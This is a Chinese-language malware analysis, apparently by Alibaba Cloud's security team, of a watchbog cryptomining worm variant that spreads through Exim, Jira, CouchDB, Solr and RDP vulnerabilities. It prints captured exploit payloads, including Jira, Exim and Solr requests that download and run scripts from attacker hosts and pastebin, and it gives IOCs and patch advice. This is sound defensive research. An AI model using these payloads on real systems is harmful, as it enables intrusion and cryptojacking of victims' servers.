概述
近日,阿里云安全团队监测到watchbog挖矿蠕虫的变种。该蠕虫在原先挖矿功能与C&C通信的基础上[1],增加了使用多个CVE漏洞进行传播的能力,利用这些漏洞,攻击者可以执行任意指令非法牟利或以此为跳板扩大攻击范围,对被入侵主机带来极大的安全隐患。
本文重点关注watchbog蠕虫新增加的5种漏洞利用方式,涉及的组件根据shodan与Zoomeye扫描全网量从大到小分别为:Exim、Windows Remote Desktop、CouchDB、Jira、Solr。其中运行Exim服务的设备达百万级别,而最少的Solr也有上万台设备运行,因此该蠕虫攻击覆盖面极广,提醒用户及时关注自身设备运行状态。
其中Windows Bluekeep RDP | CVE-2019-0708需要特别注意,其危害程度与2017年WannaCry所使用的"永恒之蓝"漏洞相当,虽然该蠕虫只具备对此漏洞的扫描检测能力,但近日关于此漏洞的RCE利用已有更多的细节放出,且美国Immunity公司已公开售卖其getshell利用方式,大规模爆发即将到来,提醒用户及时关注。
本文在后续的内容中,对该蠕虫相关攻击模块做了简单的分析,并介绍了阿里云安全团队对恶意流量的捕获情况。根据监测,此蠕虫还未大范围传播,且部分攻击流量具有间断性与聚集性的特点,疑似攻击团伙还在小范围尝试。但由于恶意程序本身具备多个漏洞攻击能力,阿里云安全团队建议用户参考文末的安全建议,及时对自身机器进行检查并修复相关漏洞,以防蠕虫大规模爆发。
蠕虫主要结构与特点
阿里云安全团队对该蠕虫进行了追踪与详细分析,此蠕虫的主要特点包括:
- 脚本、挖矿进程名natstat与watchbog具有迷惑性,与Linux自带程序相似或相同;
- C&C模块使用python编写,其余脚本通过shell实现;
- 内置多种高危远程代码执行payload,并以此进行传播扩散,攻击面极广;
- 通过门罗币挖矿牟利。
攻击者通过多个远程代码执行漏洞进行全网扫描,向目标发送恶意指令。指令成功执行后,被入侵主机会向https://pastebin.com/raw/yS3fAEBN发送请求下载恶意二进制程序并运行。此恶意程序由挖矿模块与攻击模块组成:
挖矿模块下载挖矿脚本、挖矿配置文件并维持C&C通信;
- 攻击模块进行漏洞探测、payload组装与漏洞利用,并对其他主机进行攻击;
- 攻击者整个攻击流程如下图所示:
蠕虫分析
阿里云安全团队监测到该蠕虫入侵的主机执行了以下的恶意脚本:
其下载base64编码的恶意脚本,解码并执行:
可以看到,该程序将从恶意服务器pay_url处下载恶意程序并以natstat运行,运行后清理相关痕迹。进一步跟进后发现该蠕虫从https://pastebin.com/raw/CfpAvqzT处下载恶意二进制程序。经逆向分析,该程序向https://pastebin.com/raw/Dj3JTtnj发送请求下载恶意程序至/tmp/baby,此脚本用于挖矿与C&C通信模块,虽然与之前捕获的脚本[1]内容不尽相同,但程序核心不变,在这里不做过多介绍。
继续分析此恶意程序可以发现,该蠕虫使用名为jail的工具包,该工具包包含各种漏洞的检测、验证、payload生成等功能,可以看到其背后的攻击团伙具有较高的专业性。
继续分析恶意程序可以发现,该程序利用多个CVE漏洞进行传播,除了之前在挖矿程序中常用的redis(CVE-2015-4335/写入crontab任务)、Jenkins RCE(CVE-2018-1000861)、Nexus RCE(CVE-2019-7238)漏洞之外,该恶意程序升级了攻击库,新增了JIRA RCE(CVE-2019-11581)、Exim RCE(CVE-2019-10149)、Couchdb RCE(CVE-2018-8007)、Solr RCE(CVE-2017-12629)以及Windows Remote Desktop RCE(CVE-2019-0708)作为新的传播途径。
1. Windows RDP RCE [CVE-2019-0708]
Windows bluekeep是微软在2019年5月公布的安全漏洞[2],其存在于远程桌面服务中,攻击者可以通过RDP协议向开启了远程桌面服务的目标发送恶意数据,从而达到任意命令执行的效果。该漏洞在官方的描述中其危害程度与2017年WannaCry所使用的"永恒之蓝"漏洞相当,因此需格外注意。
目前,针对此漏洞还未有公开的RCE利用方式流出,只有Macfee公布了一段成功执行命令的视频,以及公开的漏洞扫描验证脚本以及蓝屏exp。但近日,该漏洞又有更多细节被安全研究者揭露,而且出售商业化渗透测试套件的美国Immunity公司在twitter上公开售卖该漏洞的getshell脚本[3],一场可以预期的大规模爆发即将到来。
该蠕虫以zerosum0x0编写的RDP扫描检测脚本为基础,构建了该漏洞的探测模块,如下图所示:
此攻击模块在RDP协议连接建立时,使用了watchbog作为其标识符,即Cookie: mstshash=watchbog,可以视为其明显特征。该蠕虫在完成此扫描过程后,将探测到的存在漏洞主机地址使用RC4加密方式返回给C&C服务器,如下图所示:
目前,尚不清楚此团伙是否已经具备任意代码执行的能力,但由于该漏洞影响大部分开启远程桌面服务的Windows版本且危害极大,因此需要谨慎提防该漏洞利用的大规模到来。
2. JIRA模板注入RCE [CVE-2019-11581]
Atlassian Jira是一个事务与项目跟踪软件,其可以计划、跟踪和管理敏捷软件开发项目。攻击者在最新的蠕虫中,增加了Jira模板注入RCE的相关功能,其利用JIRA联系管理员表单处未授权或具有JIRA管理员访问权限导致的模板注入[4]。恶意程序中内置了此攻击模块,其尝试向secure/ContactAdministrators.jspa与secure/ContactAdministrators!default.jspa发送以下payload:
阿里云安全团队已捕获相关攻击流量,其向目标url注入#set ($cmd="wget https://pastebin.com/raw/Dj3JTtnj -O /tmp/baby")命令执行相应的挖矿程序。
同时,攻击者还尝试在此漏洞中,插入Apache Struts 2的漏洞利用方式,试图通过这种"组合拳"的方式,突破目标主机的防御,转码后payload如下:
POST /secure/ContactAdministrators!default.jspa HTTP/1.1
Content-Type: application/xml
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 5650
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator">
除此之外,平台还发现疑似其他团伙使用此漏洞向http://107.174.47.181/mr.sh下载kworkerds挖矿程序,payload如下:
POST /secure/ContactAdministrators.jspa HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.20.1
Content-Length: 424
Content-Type: application/x-www-form-urlencoded
atl_token=BCGK-NYLC-7KR7-6QGO_50a98ffe7dbf772ae9325186d08a20e190e13aed_lout&from=test@test.com&details=v&subject=$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('bash -c {echo,Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xODEvbXIuc2ggfCBiYXNoIC1zaA==}|{base64,-d}|{bash,-i}').toString()
可以看到,此漏洞已逐渐被恶意团伙所利用,甚至在恶意团伙之间进行传播,给用户带来更大的安全威胁。因此,阿里云安全团队建议受影响的用户及时修复漏洞,以防攻击面加速扩大以及漏洞利用方式升级。
3. Exim Mail RCE [CVE-2019-10149]
Exim是一款开源邮件传输代理服务器软件,在4.87-4.91版本的Exim中,deliver_message函数未对邮件接收者的地址做限制,导致攻击者可以向本地域localhost或其他本地域发送攻击${run{...}}@localhost形式的payload,执行任意命令[5]。在该蠕虫中,其内置了相关payload:
阿里云安全团队已监测到相关攻击流量,其转码后结果如下图。攻击者正利用此漏洞进行传播,但数量较小,且恶意源较为集中,疑似攻击者还正在进行小范围尝试。
除此之外,阿里云安全团队还监测出其他攻击者也正在使用此漏洞进行尝试,下载恶意程序并写入反弹shell,转码后payload如下:
RCPT TO:<${run{/bin/sh -c 'mount -o remount,exec /dev/shm; cd /dev/shm;(wget http://212.83.186.24:2525/fsflt||(echo fsflt|nc -q 1 212.83.186.24 2525)>fsflt||(exec 10<>/dev/tcp/212.83.186.24/2525;echo fsflt>&10;cat <&10>fsflt)) & sleep 45;setsid sh fsflt 47.90.89.47 25 trulifeaudio.com'&}}@localhost>
根据Shodan全网扫描结果可以看到,Exim仅4.91版本就有67w台设备,可以预见,此漏洞的影响面极其广泛,建议使用版本在4.87-4.91的用户及时更新组件,以防止不必要的损失。
4. Couchdb RCE [CVE-2018-8007]
Apache CouchDB是一个开源数据库,专注于易用性与web数据库的兼容性。在CVE-2018-8007漏洞中,攻击者可以通过couchDB提供的HTTP API配置获取操作系统用户权限,从而执行恶意指令[6],其向_config/update_notification/index-updater路径PUT发送内容,进而达到任意代码执行的功能。
阿里云安全团队监测到的此种攻击流量如下图所示:
根据监测的结果显示,目前使用此漏洞进行攻击的流量较少,但此攻击模块内置于恶意程序之中,尚未爆发,仍需谨慎对待,及时修复相关漏洞,以防事态进一步扩大。
5. Solr RCE [CVE-2017-12629]
Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。该蠕虫利用SolrCloud Collections API,在config字段中传入solr.RunExecutableListener,从而达到任意命令执行的操作[7]。该蠕虫在内部内置了相关攻击模块,如下:
阿里云安全团队监测到的恶意流量payload如下:
POST /solr/query_solr/config HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Content-Type: application/json
Content-Length: 211
{"create-listener": {"exe": "sh", "name": "newlistener-036", "args": ["-c", "nohup bash -c (curl -fsSL https://pastebin.com/raw/yS3fAEBN||wget -q -O- https://pastebin.com/raw/yS3fAEBN)|base64 -d|bash
"], "event": "newSearcher", "class": "solr.RunExecutableListener", "dir": "/bin/"}}
该蠕虫涉及使用的其他3种漏洞:Nexus Repository Manager[1]、Redis[8]与Jenkins[9]远程代码执行在阿里云安全团队的其他文章中已经进行了详细的分析,遭受相关漏洞困扰的用户,可以根据相关文章的安全建议进行修复,在这里不再赘述。
涉及漏洞
IOC
MD5
natstat: bc7a55426cd26a431879fbb9ea36c42d
URL
- https://pastebin.com/raw/yS3fAEBN
- https://pastebin.com/raw/p3mGdbpq
- https://pastebin.com/raw/UeynzXEr
- https://pastebin.com/raw/MMCFQMH9
- https://pastebin.com/raw/EzqVke6X
- https://pastebin.com/raw/Dj3JTtnj
- https://pastebin.com/raw/CfpAvqzT
安全建议
- 由于涉及多个组件,使用相关组件的用户建议及时更新相关组件至最新版本
- 建议使用阿里云安全的下一代云防火墙产品,集中管理公网IP的访问策略,其内置威胁入侵防御模块(IPS),支持失陷主机检测、主动外联行为的阻断,还可根据需求,灵活、快速、高效地更改配置防御规则,保证业务稳定安全运行。
- 若您关注自身业务网络安全但却无从下手,推荐使用阿里云安全管家服务,其为您配备具有多年云上安全最佳实践经验的安全专家,提供7×24小时的服务响应级别,保障网络及重要系统在任何时间发生任何安全问题都能够及时得到支持和救援。
相关文章
[1] Nexus Repository Manager 3新漏洞已被用于挖矿木马传播,建议用户尽快修复
[2] Remote Desktop Services Remote Code Execution Vulnerability
[3] 美国Immunity公司公开售卖Bluekeep漏洞利用
[4] JIRA Security Advisory 2019-07-10
[5] Exim 远程代码执行漏洞
[6] CVE-2018-8007: Apache CouchDB Remote Code Execution
[7] Apache Solr 7.0.1 - XML External Entity Expansion / Remote Code Execution
[8] Watchdogs利用Redis实施大规模挖矿,常见数据库蠕虫如何破?
[9] Jenkins RCE漏洞成ImposterMiner挖矿木马新"跳板"